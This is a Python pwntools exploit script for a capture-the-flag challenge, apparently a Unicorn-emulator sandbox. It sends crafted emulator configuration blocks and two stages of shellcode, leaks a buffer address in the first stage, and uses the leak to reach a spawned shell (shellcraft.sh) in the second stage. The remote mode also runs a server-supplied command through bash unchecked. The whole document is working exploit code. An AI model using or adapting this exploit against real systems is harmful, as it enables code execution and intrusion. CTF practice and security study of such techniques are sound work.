#!/usr/bin/env python
from pwn import *
from time import sleep
from os import popen

context.binary = e = ELF("chal")

gs = """
"""


def start():
    if args.LOCAL:
        p = e.process(stderr=open("/dev/null", "w"))
        
    elif args.REMOTE:  # python x.py REMOTE <host> <port>
        host_port = sys.argv[1:]
        p = remote(host_port[0], int(host_port[1]))
        p.recvuntil(b'You can run the solver with:\n')
        cmd = p.recvline().decode()
        log.info(cmd)
        ans = popen(f"bash -c '{cmd}'").read()
        p.sendlineafter(b'Solution? ', ans.encode())
    return p


code1 = asm(open("shellcode1.asm", "r").read())+b'\x90'*0x40
data1 = p32(4)  # UC_ARCH_X86
data1 += p32(1 << 3)  # UC_MODE_64
data1 += (
    p64(0x13370000) + p64(0x1000) +
    p64(0x13380000) + p64(0x1000) +
    p64(0x13390000) + p64(0x1000) +
    p64(0x133a0000) + p64(0x2000)
)
data1 += p16(len(code1))
data1 += p8(3)
data1 = data1.ljust(0x50, b'\0')


p = start()

p.send(data1)
p.sendafter(b"CODE_START\n", code1)
p.recvuntil(b'new process created with pid 0\n')
p.recvuntil(b'0\n')
buf0 = int(p.recvline().decode())
log.info(hex(buf0))

code2 = asm(open("shellcode2.asm", "r").read().replace("leaked_address", str(buf0+0xf000))) + b'\x90'*0x20 + asm(shellcraft.sh())

data2 = p32(4)  # UC_ARCH_X86
data2 += p32(1 << 3)  # UC_MODE_64
data2 += (
    p64(0x13470000) + p64(0x1000) +
    p64(0x13380000) + p64(0x1000) +
    p64(0x13390000) + p64(0x1000) +
    p64(0x133a0000) + p64(0x2000)
)
data2 += p16(len(code2))
data2 += p8(3)
data2 = data2.ljust(0x50, b'\0')


if args.GDB:
    gdb.attach(p, gdbscript=gs)
    pause()

p.send(data2)
p.sendafter(b"CODE_START\n", code2)


p.interactive()
